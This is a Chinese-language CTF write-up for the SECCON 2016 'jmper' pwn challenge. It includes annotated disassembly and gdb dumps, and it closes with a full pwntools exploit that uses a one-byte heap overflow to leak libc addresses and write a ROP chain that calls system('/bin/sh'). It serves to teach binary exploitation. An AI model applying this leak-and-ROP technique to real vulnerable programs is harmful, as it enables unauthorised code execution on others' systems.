# 6.1.17 pwn SECCONCTF2016 jmper - [题目复现](#题目复现) - [题目解析](#题目解析) - [Exploit](#exploit) - [参考资料](#参考资料) [下载文件](../src/writeup/6.1.17_pwn_secconctf2016_jmper) ## 题目复现 ``` $ file jmper jmper: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=9fce8ae11b21c03bf2aade96e1d763be668848fa, not stripped $ checksec -f jmper RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE Full RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No 0 4 jmper $ strings libc-2.19.so | grep "GNU C" GNU C Library (Ubuntu EGLIBC 2.19-0ubuntu6.9) stable release version 2.19, by Roland McGrath et al. Compiled by GNU CC version 4.8.4. ``` 64 位动态链接程序,但 Full RELRO 表示我们不能修改 GOT 表,然后还开启了 NX 防止注入 shellcode。No canary 表示可能有溢出,not stripped、No PIE 都是好消息。默认开启 ASLR。 在 Ubuntu-14.04 上玩一下: ``` $ LD_PRELOAD=./libc-2.19.so ./jmper Welcome to my class. My class is up to 30 people :) 1. Add student. 2. Name student. 3. Write memo 4. Show Name 5. Show memo. 6. Bye :) 1 1. Add student. 2. Name student. 3. Write memo 4. Show Name 5. Show memo. 6. Bye :) 2 ID:0 Input name:AAAA 1. Add student. 2. Name student. 3. Write memo 4. Show Name 5. Show memo. 6. Bye :) 3 ID:0 Input memo:BBBB 1. Add student. 2. Name student. 3. Write memo 4. Show Name 5. Show memo. 6. Bye :) 4 ID:0 AAAA1. Add student. 2. Name student. 3. Write memo 4. Show Name 5. Show memo. 6. Bye :) 5 ID:0 BBBB1. Add student. 2. Name student. 3. Write memo 4. Show Name 5. Show memo. 6. Bye :) 6 ``` 似乎是新建的 student 会对应一个 id,根据 id 可以查看或修改对应的 name 和 memo。 ## 题目解析 程序主要由两部分组成,一个是 `main()` 函数,另一个是实现了所有功能的 `f()` 函数。 #### main ``` [0x00400730]> pdf @ main / (fcn) main 170 | main (); | ; var int local_4h @ rbp-0x4 | ; DATA XREF from 0x0040074d (entry0) | 0x00400ba8 push rbp | 0x00400ba9 mov rbp, rsp | 0x00400bac sub rsp, 0x10 | 0x00400bb0 mov rax, qword [obj.stdin] ; [0x602018:8]=0 | 0x00400bb7 mov ecx, 0 | 0x00400bbc mov edx, 2 | 0x00400bc1 mov esi, 0 | 0x00400bc6 mov rdi, rax | 0x00400bc9 call sym.imp.setvbuf ; int setvbuf(FILE*stream, char*buf, int mode, size_t size) | 0x00400bce mov rax, qword [sym.stdout] ; loc.stdout ; [0x602010:8]=0 | 0x00400bd5 mov ecx, 0 | 0x00400bda mov edx, 2 | 0x00400bdf mov esi, 0 | 0x00400be4 mov rdi, rax | 0x00400be7 call sym.imp.setvbuf ; int setvbuf(FILE*stream, char*buf, int mode, size_t size) | 0x00400bec mov edi, str.Welcome_to_my_class. ; 0x400d88 ; "Welcome to my class." | 0x00400bf1 call sym.imp.puts ; int puts(const char *s) | 0x00400bf6 mov edi, str.My_class_is_up_to_30_people_: ; 0x400da0 ; "My class is up to 30 people :)" | 0x00400bfb call sym.imp.puts ; int puts(const char *s) | 0x00400c00 mov edi, 0xf0 ; 240 | 0x00400c05 call sym.imp.malloc ; my_class = malloc(0xf0) 分配 my_class 数组 | 0x00400c0a mov qword [obj.my_class], rax ; [0x602030:8]=0 | 0x00400c11 mov edi, 0xc8 ; 200 | 0x00400c16 call sym.imp.malloc ; jmpbuf = malloc(0xc8) 分配 jmpbuf 结构体 | 0x00400c1b mov qword [obj.jmpbuf], rax ; [0x602038:8]=0 | 0x00400c22 mov rax, qword [obj.jmpbuf] ; [0x602038:8]=0 | 0x00400c29 mov rdi, rax | 0x00400c2c call sym.imp._setjmp ; setjmp(jmpbuf) 保存上下文到 jmpbuf | 0x00400c31 mov dword [local_4h], eax | 0x00400c34 cmp dword [local_4h], 0 ; 将 setjmp 返回值与 0 比较 | ,=< 0x00400c38 jne 0x400c41 ; 不等于时跳转 | | 0x00400c3a call sym.f ; 否则调用函数 f(),进入主要程序逻辑 | ,==< 0x00400c3f jmp 0x400c4b | || ; JMP XREF from 0x00400c38 (main) | |`-> 0x00400c41 mov edi, str.Nice_jump__Bye_: ; 0x400dbf ; "Nice jump! Bye :)" | | 0x00400c46 call sym.imp.puts ; int puts(const char *s) | | ; JMP XREF from 0x00400c3f (main) | `--> 0x00400c4b mov eax, 0 | 0x00400c50 leave \ 0x00400c51 ret [0x00400730]> is ~my_class 055 0x00002030 0x00602030 GLOBAL OBJECT 8 my_class [0x00400730]> is ~jmpbuf 065 0x00002038 0x00602038 GLOBAL OBJECT 8 jmpbuf [0x00400730]> iS ~bss 24 0x00002010 0 0x00602010 48 --rw- .bss ``` 在 main 函数里分配了两块内存空间,一块是包含了 30 个 student 结构体指针的数组,地址放在 `my_class`(`0x00602030`)。另一块用于存放一个 `jmp_buf` 结构体,这个结构体中保存当前上下文,结构体的地址放在 `jmpbuf`(`0x00602038`)。并且这两个符号都在 `.bss` 段中。 这里就涉及到 `setjmp()` 和 `longjmp()` 的使用,它们用于从一个函数跳到另一个函数中的某个点处。函数原型如下: ```c #include int setjmp(jmp_buf env); void longjmp(jmp_buf env, int val); ``` - `setjmp()`:将函数在此处的上下文保存到 `jmp_buf` 结构体,以供 longjmp 从此结构体中恢复 - `env`:保存上下文的 `jmp_buf` 结构体变量 - 如果直接调用该函数,返回值为 0。如果该函数从 longjmp 调用返回,返回值根据 longjmp 的参数决定。 - `longjmp()`:从 `jmp_buf` 结构体中恢复由 setjmp 函数保存的上下文,该函数不返回,而是从 setjmp 函数中返回 - `env`:由 setjmp 函数保存的上下文 - `val`:传递给 setjmp 函数的返回值,如果 `val` 值为 0,setjmp 将会返回 1,否则返回 `val`。 `longjmp()` 执行完之后,程序就回到了 `setjmp()` 的下一条语句继续执行。 #### f 接下来我们看一下各功能的实现(程序设计真的要吐槽一下): ``` [0x00400730]> pdf @ sym.f / (fcn) sym.f 907 | sym.f (); | ; var int local_1dh @ rbp-0x1d | ; var int local_1ch @ rbp-0x1c | ; var int local_18h @ rbp-0x18 | ; var int local_14h @ rbp-0x14 | ; var int local_10h @ rbp-0x10 | ; var int local_8h @ rbp-0x8 | ; CALL XREF from 0x00400c3a (main) | 0x0040081d push rbp | 0x0040081e mov rbp, rsp | 0x00400821 sub rsp, 0x20 | 0x00400825 mov dword [obj.student_num], 0 ; [0x602028:4]=0 | ; JMP XREF from 0x00400ba3 (sym.f) | .-> 0x0040082f mov edi, str.1._Add_student.__2._Name_student.__3._Write_memo__4._Show_Name__5._Show_memo.__6._Bye_: ; 0x400ce8 ; "1. Add student.\n2. Name student.\n3. Write memo\n4. Show Name\n5. Show memo.\n6. Bye :)" ; 循环开始 | : 0x00400834 call sym.imp.puts ; int puts(const char *s) | : 0x00400839 lea rax, [local_18h] | : 0x0040083d mov rsi, rax | : 0x00400840 mov edi, 0x400d3c | : 0x00400845 mov eax, 0 | : 0x0040084a call sym.imp.__isoc99_scanf ; 读入选项到 [local_18h] | : 0x0040084f call sym.imp.getchar ; int getchar(void) | : 0x00400854 mov eax, dword [local_18h] | : 0x00400857 cmp eax, 1 ; 1 | ,==< 0x0040085a jne 0x4008e8 | |: 0x00400860 mov eax, dword [obj.student_num] ; [0x602028:4]=0 ; 选项 1 ; 取出已有 student 数 | |: 0x00400866 cmp eax, 0x1d ; 29 ; 与最大值比较 | ,===< 0x00400869 jle 0x400889 ; 小于等于 30 时跳转 | ||: 0x0040086b mov edi, str.Exception_has_occurred._Jump ; 0x400d3f ; 否则调用 longjmp 返回到 main | ||: 0x00400870 call sym.imp.puts ; int puts(const char *s) | ||: 0x00400875 mov rax, qword [obj.jmpbuf] ; [0x602038:8]=0 ; 取出 jmpbuf 结构体 | ||: 0x0040087c mov esi, 0x1bf52 ; setjmp 返回值为 0x1bf52 | ||: 0x00400881 mov rdi, rax | ||: 0x00400884 call sym.imp.longjmp ; longjmp(jmpbuf, 0x1bf52) | ||: ; JMP XREF from 0x00400869 (sym.f) | `---> 0x00400889 mov edi, 0x30 ; '0' ; 48 | |: 0x0040088e call sym.imp.malloc ; malloc(0x30) ; 分配一个 student 结构 | |: 0x00400893 mov qword [local_8h], rax ; 将 student 地址放到 [local_8h] | |: 0x00400897 mov eax, dword [obj.student_num] ; [0x602028:4]=0 | |: 0x0040089d movsxd rdx, eax | |: 0x004008a0 mov rax, qword [local_8h] | |: 0x004008a4 mov qword [rax], rdx ; 将 student_num 作为该 student->id | |: 0x004008a7 mov edi, 0x20 ; 32 | |: 0x004008ac call sym.imp.malloc ; malloc(0x20) ; 分配一块空间作为 name | |: 0x004008b1 mov rdx, rax | |: 0x004008b4 mov rax, qword [local_8h] | |: 0x004008b8 mov qword [rax + 0x28], rdx ; 将 name 的地址放到 student->name | |: 0x004008bc mov rax, qword [obj.my_class] ; [0x602030:8]=0 | |: 0x004008c3 mov edx, dword [obj.student_num] ; [0x602028:4]=0 | |: 0x004008c9 movsxd rdx, edx | |: 0x004008cc mov rcx, qword [local_8h] | |: 0x004008d0 mov qword [rax + rdx*8], ; 将新分配的 student 地址放到 my_class[id] | |: 0x004008d4 mov eax, dword [obj.student_num] ; [0x602028:4]=0 | |: 0x004008da add eax, 1 ; student_num + 1 | |: 0x004008dd mov dword [obj.student_num], eax ; [0x602028:4]=0 ; 写回 student_num | ,===< 0x004008e3 jmp 0x400ba3 ; 回到菜单 | ||: ; JMP XREF from 0x0040085a (sym.f) | |`--> 0x004008e8 mov eax, dword [local_18h] | | : 0x004008eb cmp eax, 2 ; 2 | |,==< 0x004008ee jne 0x4009b3 | ||: 0x004008f4 mov esi, 0x400d5d ; 选项 2 | ||: 0x004008f9 mov edi, 0x400d61 | ||: 0x004008fe mov eax, 0 | ||: 0x00400903 call sym.imp.printf ; int printf(const char *format) | ||: 0x00400908 lea rax, [local_1ch] | ||: 0x0040090c mov rsi, rax | ||: 0x0040090f mov edi, 0x400d3c | ||: 0x00400914 mov eax, 0 | ||: 0x00400919 call sym.imp.__isoc99_scanf ; 读入 id 到 [local_1ch] | ||: 0x0040091e call sym.imp.getchar ; int getchar(void) | ||: 0x00400923 mov edx, dword [local_1ch] | ||: 0x00400926 mov eax, dword [obj.student_num] ; [0x602028:4]=0 | ||: 0x0040092c cmp edx, eax ; 判断 id 是否有效 | ,====< 0x0040092e jge 0x400937 ; 无效时跳转 | |||: 0x00400930 mov eax, dword [local_1ch] | |||: 0x00400933 test eax, eax ; 根据 id 设置符号位 | ,=====< 0x00400935 jns 0x40094b ; 符号位为 0 时跳转,即 id 大于等于 0 | ||||: ; JMP XREF from 0x0040092e (sym.f) | |`----> 0x00400937 mov edi, str.Invalid_ID. ; 0x400d64 ; "Invalid ID." | | ||: 0x0040093c call sym.imp.puts ; int puts(const char *s) | | ||: 0x00400941 mov edi, 1 | | ||: 0x00400946 call sym.imp.exit ; void exit(int status) | | ||: ; JMP XREF from 0x00400935 (sym.f) | `-----> 0x0040094b mov esi, str.Input_name: ; 0x400d70 ; "Input name:" | ||: 0x00400950 mov edi, 0x400d61 | ||: 0x00400955 mov eax, 0 | ||: 0x0040095a call sym.imp.printf ; int printf(const char *format) | ||: 0x0040095f mov rax, qword [obj.my_class] ; [0x602030:8]=0 | ||: 0x00400966 mov edx, dword [local_1ch] | ||: 0x00400969 movsxd rdx, edx | ||: 0x0040096c mov rax, qword [rax + rdx*8] ; 取出 my_class[id] | ||: 0x00400970 mov rax, qword [rax + 0x28] ; [0x28:8]=-1 ; 取出 my_class[id]->name | ||: 0x00400974 mov qword [local_10h], rax ; 放到 [local_10h] | ||: 0x00400978 mov dword [local_14h], 0 ; 循环计数 i 初始化为 0 | ,====< 0x0040097f jmp 0x4009a8 ; 进入循环 | |||: ; JMP XREF from 0x004009ac (sym.f) | .-----> 0x00400981 call sym.imp.getchar ; int getchar(void) | :|||: 0x00400986 mov byte [local_1dh], al ; 读入一个字节到 [local_1dh] | :|||: 0x00400989 cmp byte [local_1dh], 0xa ; [0xa:1]=255 ; 10 | ,======< 0x0040098d jne 0x400995 ; 非换行符时跳转 | |:|||: 0x0040098f nop | ,=======< 0x00400990 jmp 0x400ba3 ; 否则回到菜单 | ||:|||: ; JMP XREF from 0x0040098d (sym.f) | |`------> 0x00400995 mov rax, qword [local_10h] | | :|||: 0x00400999 movzx edx, byte [local_1dh] | | :|||: 0x0040099d mov byte [rax], dl ; 写入该字节写入 name | | :|||: 0x0040099f add qword [local_10h], 1 ; name = name + 1 | | :|||: 0x004009a4 add dword [local_14h], 1 ; i = i + 1 | | :|||: ; JMP XREF from 0x0040097f (sym.f) | | :`----> 0x004009a8 cmp dword [local_14h], 0x20 ; [0x20:4]=-1 ; 32 | | `=====< 0x004009ac jle 0x400981 ; 当小于等于 32 字节时继续循环,即读入 33 字节,存在溢出 | | ,====< 0x004009ae jmp 0x400ba3 ; 否则回到菜单 | | |||: ; JMP XREF from 0x004008ee (sym.f) | | ||`--> 0x004009b3 mov eax, dword [local_18h] | | || : 0x004009b6 cmp eax, 3 ; 3 | | ||,==< 0x004009b9 jne 0x400a7e | | |||: 0x004009bf mov esi, 0x400d5d ; 选项 3 | | |||: 0x004009c4 mov edi, 0x400d61 | | |||: 0x004009c9 mov eax, 0 | | |||: 0x004009ce call sym.imp.printf ; int printf(const char *format) | | |||: 0x004009d3 lea rax, [local_1ch] | | |||: 0x004009d7 mov rsi, rax | | |||: 0x004009da mov edi, 0x400d3c | | |||: 0x004009df mov eax, 0 | | |||: 0x004009e4 call sym.imp.__isoc99_scanf ; 读入 id 到 [local_1ch] | | |||: 0x004009e9 call sym.imp.getchar ; int getchar(void) | | |||: 0x004009ee mov edx, dword [local_1ch] | | |||: 0x004009f1 mov eax, dword [obj.student_num] ; [0x602028:4]=0 | | |||: 0x004009f7 cmp edx, eax ; 判断 id 是否有效 | | ,=====< 0x004009f9 jge 0x400a02 ; 无效时跳转 | | ||||: 0x004009fb mov eax, dword [local_1ch] | | ||||: 0x004009fe test eax, eax ; 根据 id 设置符号位 | |,======< 0x00400a00 jns 0x400a16 ; 符号位为 0 时跳转,即 id 大于等于 0 | ||||||: ; JMP XREF from 0x004009f9 (sym.f) | ||`-----> 0x00400a02 mov edi, str.Invalid_ID. ; 0x400d64 ; "Invalid ID." | || |||: 0x00400a07 call sym.imp.puts ; int puts(const char *s) | || |||: 0x00400a0c mov edi, 1 | || |||: 0x00400a11 call sym.imp.exit ; void exit(int status) | || |||: ; JMP XREF from 0x00400a00 (sym.f) | |`------> 0x00400a16 mov esi, str.Input_memo: ; 0x400d7c ; "Input memo:" | | |||: 0x00400a1b mov edi, 0x400d61 | | |||: 0x00400a20 mov eax, 0 | | |||: 0x00400a25 call sym.imp.printf ; int printf(const char *format) | | |||: 0x00400a2a mov rax, qword [obj.my_class] ; [0x602030:8]=0 | | |||: 0x00400a31 mov edx, dword [local_1ch] | | |||: 0x00400a34 movsxd rdx, edx | | |||: 0x00400a37 mov rax, qword [rax + rdx*8] ; 取出 my_class[id] | | |||: 0x00400a3b add rax, 8 ; 取出 my_class[id]->memo | | |||: 0x00400a3f mov qword [local_10h], rax ; 放到 [local_10h] | | |||: 0x00400a43 mov dword [local_14h], 0 ; 循环计数 i,初始化为 0 | | ,=====< 0x00400a4a jmp 0x400a73 ; 进入循环 | | ||||: ; JMP XREF from 0x00400a77 (sym.f) | |.------> 0x00400a4c call sym.imp.getchar ; int getchar(void) | |:||||: 0x00400a51 mov byte [local_1dh], al | |:||||: 0x00400a54 cmp byte [local_1dh], 0xa ; [0xa:1]=255 ; 10 | ========< 0x00400a58 jne 0x400a60 | |:||||: 0x00400a5a nop | ========< 0x00400a5b jmp 0x400ba3 | |:||||: ; JMP XREF from 0x00400a58 (sym.f) | --------> 0x00400a60 mov rax, qword [local_10h] | |:||||: 0x00400a64 movzx edx, byte [local_1dh] | |:||||: 0x00400a68 mov byte [rax], dl | |:||||: 0x00400a6a add qword [local_10h], 1 | |:||||: 0x00400a6f add dword [local_14h], 1 | |:||||: ; JMP XREF from 0x00400a4a (sym.f) | |:`-----> 0x00400a73 cmp dword [local_14h], 0x20 ; [0x20:4]=-1 ; 32 | |`======< 0x00400a77 jle 0x400a4c ; 当小于等于 32 字节时继续循环,即读入 33 字节,存在溢出 | | ,=====< 0x00400a79 jmp 0x400ba3 ; 否则回到菜单 | | ||||: ; JMP XREF from 0x004009b9 (sym.f) | | |||`--> 0x00400a7e mov eax, dword [local_18h] | | ||| : 0x00400a81 cmp eax, 4 ; 4 | | |||,==< 0x00400a84 jne 0x400b0d | | ||||: 0x00400a8a mov esi, 0x400d5d ; 选项 4 | | ||||: 0x00400a8f mov edi, 0x400d61 | | ||||: 0x00400a94 mov eax, 0 | | ||||: 0x00400a99 call sym.imp.printf ; int printf(const char *format) | | ||||: 0x00400a9e lea rax, [local_1ch] | | ||||: 0x00400aa2 mov rsi, rax | | ||||: 0x00400aa5 mov edi, 0x400d3c | | ||||: 0x00400aaa mov eax, 0 | | ||||: 0x00400aaf call sym.imp.__isoc99_scanf ; 读入 id 到 [local_1ch] | | ||||: 0x00400ab4 call sym.imp.getchar ; int getchar(void) | | ||||: 0x00400ab9 mov edx, dword [local_1ch] | | ||||: 0x00400abc mov eax, dword [obj.student_num] ; [0x602028:4]=0 | | ||||: 0x00400ac2 cmp edx, eax ; 判断 id 是否有效 | |,======< 0x00400ac4 jge 0x400acd ; 无效时跳转 | ||||||: 0x00400ac6 mov eax, dword [local_1ch] | ||||||: 0x00400ac9 test eax, eax ; 根据 id 设置符号位 | ========< 0x00400acb jns 0x400ae1 ; 符号位为 0 时跳转,即 id 大于等于 0 | ||||||: ; JMP XREF from 0x00400ac4 (sym.f) | |`------> 0x00400acd mov edi, str.Invalid_ID. ; 0x400d64 ; "Invalid ID." | | ||||: 0x00400ad2 call sym.imp.puts ; int puts(const char *s) | | ||||: 0x00400ad7 mov edi, 1 | | ||||: 0x00400adc call sym.imp.exit ; void exit(int status) | | ||||: ; JMP XREF from 0x00400acb (sym.f) | --------> 0x00400ae1 mov rax, qword [obj.my_class] ; [0x602030:8]=0 | | ||||: 0x00400ae8 mov edx, dword [local_1ch] | | ||||: 0x00400aeb movsxd rdx, edx | | ||||: 0x00400aee mov rax, qword [rax + rdx*8] ; 取出 my_class[id] | | ||||: 0x00400af2 mov rax, qword [rax + 0x28] ; [0x28:8]=-1 ; 取出 my_class[id]->name | | ||||: 0x00400af6 mov rsi, rax | | ||||: 0x00400af9 mov edi, 0x400d61 | | ||||: 0x00400afe mov eax, 0 | | ||||: 0x00400b03 call sym.imp.printf ; 打印出 my_class[id]->name | |,======< 0x00400b08 jmp 0x400ba3 ; 回到菜单 | ||||||: ; JMP XREF from 0x00400a84 (sym.f) | |||||`--> 0x00400b0d mov eax, dword [local_18h] | ||||| : 0x00400b10 cmp eax, 5 ; 5 | |||||,==< 0x00400b13 jne 0x400b99 | ||||||: 0x00400b19 mov esi, 0x400d5d ; 选项 5 | ||||||: 0x00400b1e mov edi, 0x400d61 | ||||||: 0x00400b23 mov eax, 0 | ||||||: 0x00400b28 call sym.imp.printf ; int printf(const char *format) | ||||||: 0x00400b2d lea rax, [local_1ch] | ||||||: 0x00400b31 mov rsi, rax | ||||||: 0x00400b34 mov edi, 0x400d3c | ||||||: 0x00400b39 mov eax, 0 | ||||||: 0x00400b3e call sym.imp.__isoc99_scanf ; 读入 id 到 [local_1ch] | ||||||: 0x00400b43 call sym.imp.getchar ; int getchar(void) | ||||||: 0x00400b48 mov edx, dword [local_1ch] | ||||||: 0x00400b4b mov eax, dword [obj.student_num] ; [0x602028:4]=0 | ||||||: 0x00400b51 cmp edx, eax ; 判断 id 是否有效 | ========< 0x00400b53 jge 0x400b5c ; 无效时跳转 | ||||||: 0x00400b55 mov eax, dword [local_1ch] | ||||||: 0x00400b58 test eax, eax ; 根据 id 设置符号位 | ========< 0x00400b5a jns 0x400b70 ; 符号位为 0 时跳转,即 id 大于等于 0 | ||||||: ; JMP XREF from 0x00400b53 (sym.f) | --------> 0x00400b5c mov edi, str.Invalid_ID. ; 0x400d64 ; "Invalid ID." | ||||||: 0x00400b61 call sym.imp.puts ; int puts(const char *s) | ||||||: 0x00400b66 mov edi, 1 | ||||||: 0x00400b6b call sym.imp.exit ; void exit(int status) | ||||||: ; JMP XREF from 0x00400b5a (sym.f) | --------> 0x00400b70 mov rax, qword [obj.my_class] ; [0x602030:8]=0 | ||||||: 0x00400b77 mov edx, dword [local_1ch] | ||||||: 0x00400b7a movsxd rdx, edx | ||||||: 0x00400b7d mov rax, qword [rax + rdx*8] ; 取出 my_class[id] | ||||||: 0x00400b81 add rax, 8 ; 取出 my_class[id]->memo | ||||||: 0x00400b85 mov rsi, rax | ||||||: 0x00400b88 mov edi, 0x400d61 | ||||||: 0x00400b8d mov eax, 0 | ||||||: 0x00400b92 call sym.imp.printf ; 打印出 my_class[id]->memo | ========< 0x00400b97 jmp 0x400ba3 ; 回到菜单 | ||||||: ; JMP XREF from 0x00400b13 (sym.f) | |||||`--> 0x00400b99 mov edi, 0 | ||||| : 0x00400b9e call sym.imp.exit ; void exit(int status) | ||||| | ; XREFS: JMP 0x00400b97 JMP 0x00400b08 JMP 0x00400a79 JMP 0x00400a5b JMP 0x004009ae JMP 0x00400990 JMP 0x004008e3 \ `````-`=< 0x00400ba3 jmp 0x40082f ; 循环继续 [0x00400730]> is ~student_num 048 0x00002028 0x00602028 GLOBAL OBJECT 4 student_num ``` 首先注意到这个函数没有 return 指令,要想离开只有两种方法,一个是 `exit()`,另一个是 `longjmp()` 跳回 main 函数,既然这么设置那当然是有用意的。 通过分析,可以得到 student 结构体和数组 my_class: ```c struct student { uint8_t id; char memo[0x20]; char *name; } student; struct student *my_class[0x1e]; ``` 漏洞就是在读入 memo 和 name 的时候都存在的 one-byte overflow,其中 memo 会覆盖掉 name 指针的低字节。考虑可以将 name 指针改成其它地址,并利用修改 name 的功能修改地址上的内容。 ## Exploit 所以我们的思路是通过 one-byte overflow,使 my_class[0]->name 指向 my_class[1]->name,从而获得任意地址读写的能力。然后泄漏 system 函数地址和 main 函数的返回地址,将返回地址覆盖以制造 ROP,调用 system('/bin/sh') 获得 shell。 #### overflow ```python def overflow(): add() # idx 0 add() # idx 1 raw_input("#") write_memo(0, 'A'*0x20 + '\x78') ``` 首先添加两个 student: ``` gdb-peda$ p student_num $1 = 0x2 gdb-peda$ x/2gx my_class 0x603010: 0x00000000006031e0 0x0000000000603250 gdb-peda$ x/30gx *my_class-0x10 0x6031d0: 0x0000000000000000 0x0000000000000041 <-- student chunk 0 0x6031e0: 0x0000000000000000 0x0000000000000000 <-- my_class[0]->name <-- my_class[0]->memo 0x6031f0: 0x0000000000000000 0x0000000000000000 0x603200: 0x0000000000000000 0x0000000000603220 <-- my_class[0]->name 0x603210: 0x0000000000000000 0x0000000000000031 <-- name chunk 0 0x603220: 0x0000000000000000 0x0000000000000000 0x603230: 0x0000000000000000 0x0000000000000000 0x603240: 0x0000000000000000 0x0000000000000041 <-- student chunk 1 0x603250: 0x0000000000000001 0x0000000000000000 <-- my_class[1]->name <-- my_class[1]->memo 0x603260: 0x0000000000000000 0x0000000000000000 0x603270: 0x0000000000000000 0x0000000000603290 <-- my_class[1]->name 0x603280: 0x0000000000000000 0x0000000000000031 <-- name chunk 1 0x603290: 0x0000000000000000 0x0000000000000000 0x6032a0: 0x0000000000000000 0x0000000000000000 0x6032b0: 0x0000000000000000 0x0000000000020d51 <-- top chunk ``` 然后利用 my_class[0]->memo 的溢出修改 my_class[0]->name,使其指向 my_class[1]->name: ``` gdb-peda$ x/30gx *my_class-0x10 0x6031d0: 0x0000000000000000 0x0000000000000041 0x6031e0: 0x0000000000000000 0x4141414141414141 0x6031f0: 0x4141414141414141 0x4141414141414141 0x603200: 0x4141414141414141 0x0000000000603278 <-- my_class[0]->name 0x603210: 0x0000000000000000 0x0000000000000031 0x603220: 0x0000000000000000 0x0000000000000000 0x603230: 0x0000000000000000 0x0000000000000000 0x603240: 0x0000000000000000 0x0000000000000041 0x603250: 0x0000000000000001 0x0000000000000000 0x603260: 0x0000000000000000 0x0000000000000000 0x603270: 0x0000000000000000 0x0000000000603290 <-- my_class[1]->name 0x603280: 0x0000000000000000 0x0000000000000031 0x603290: 0x0000000000000000 0x0000000000000000 0x6032a0: 0x0000000000000000 0x0000000000000000 0x6032b0: 0x0000000000000000 0x0000000000020d51 ``` 通过 overflow,我们控制了 my_class[1]->name,可以对任意地址(除了GOT表)读或写。 #### leak 然后我们可以修改 my_class[1]->name 为 libc 中任意符号的地址,从而泄漏出需要的地址信息: ```python def leak(): global system_addr global main_ret_addr write_name(0, p64(elf.got['puts'])) show_name(1) puts_addr = (u64(io.recvline()[:6] + '\x00'*2)) libc_base = puts_addr - libc.symbols['puts'] system_addr = libc_base + libc.symbols['system'] environ_addr = libc_base + libc.symbols['environ'] write_name(0, p64(environ_addr)) show_name(1) stack_addr = u64(io.recvline()[:6] + '\x00'*2) main_ret_addr = stack_addr - 0xf0 log.info("libc base: 0x%x" % libc_base) log.info("system address: 0x%x" % system_addr) log.info("main return address: 0x%x" % main_ret_addr) ``` 于是我们就得到了 system 函数的地址和 main 函数的返回地址。 这里我们利用了 libc 中的 environ 符号,该符号执行一个栈上的地址,通过计算偏移即可得到返回地址。 ``` [*] libc base: 0x7ffff7a15000 [*] system address: 0x7ffff7a5b590 [*] main return address: 0x7fffffffed78 ``` #### overwrite ```python def overwrite(): write_name(0, p64(0x602028)) # student_num write_name(1, '/bin/sh\x00') write_name(0, p64(main_ret_addr)) write_name(1, p64(pop_rdi_ret) + p64(0x602028) + p64(system_addr)) # system('/bin/sh') ``` 接下来我们将 student_num 改为 '/bin/sh',这样一方面为 system 提供了参数,另一方面可以触发 longjmp。 ``` gdb-peda$ x/s 0x602028 0x602028 : "/bin/sh" gdb-peda$ x/3gx 0x7fffffffed78 0x7fffffffed78: 0x0000000000400cc3 0x0000000000602028 0x7fffffffed88: 0x00007ffff7a5b590 ``` #### pwn ```python def pwn(): add() # call longjmp to back to main io.interactive() ``` Bingo!!! ``` $ python exp.py [+] Starting local process './jmper': pid 3935 [*] Switching to interactive mode Exception has occurred. Jump! Nice jump! Bye :) $ whoami firmy ``` #### exp 完整的 exp 如下: ```python #!/usr/bin/env python from pwn import * # context.log_level = 'debug' io = process(['./jmper'], env={'LD_PRELOAD':'./libc-2.19.so'}) elf = ELF('jmper') libc = ELF('libc-2.19.so') pop_rdi_ret = 0x400cc3 def add(): io.sendlineafter("Bye :)\n", '1') def write_name(idx, content): io.sendlineafter("Bye :)\n", '2') io.sendlineafter("ID:", str(idx)) io.sendlineafter("name:", content) def write_memo(idx, content): io.sendlineafter("Bye :)\n", '3') io.sendlineafter("ID:", str(idx)) io.sendlineafter("memo:", content) def show_name(idx): io.sendlineafter("Bye :)\n", '4') io.sendlineafter("ID:", str(idx)) def show_memo(idx): io.sendlineafter("Bye :)\n", '5') io.sendlineafter("ID:", str(idx)) def overflow(): add() # idx 0 add() # idx 1 write_memo(0, 'A'*0x20 + '\x78') def leak(): global system_addr global main_ret_addr write_name(0, p64(elf.got['puts'])) show_name(1) puts_addr = (u64(io.recvline()[:6] + '\x00'*2)) libc_base = puts_addr - libc.symbols['puts'] system_addr = libc_base + libc.symbols['system'] environ_addr = libc_base + libc.symbols['environ'] write_name(0, p64(environ_addr)) show_name(1) stack_addr = u64(io.recvline()[:6] + '\x00'*2) main_ret_addr = stack_addr - 0xf0 log.info("libc base: 0x%x" % libc_base) log.info("system address: 0x%x" % system_addr) log.info("main return address: 0x%x" % main_ret_addr) def overwrite(): write_name(0, p64(0x602028)) # student_num write_name(1, '/bin/sh\x00') write_name(0, p64(main_ret_addr)) write_name(1, p64(pop_rdi_ret) + p64(0x602028) + p64(system_addr)) # system('/bin/sh') def pwn(): add() # call longjmp to back to main io.interactive() if __name__ == "__main__": overflow() leak() overwrite() pwn() ``` ## 参考资料 - https://ctftime.org/task/3169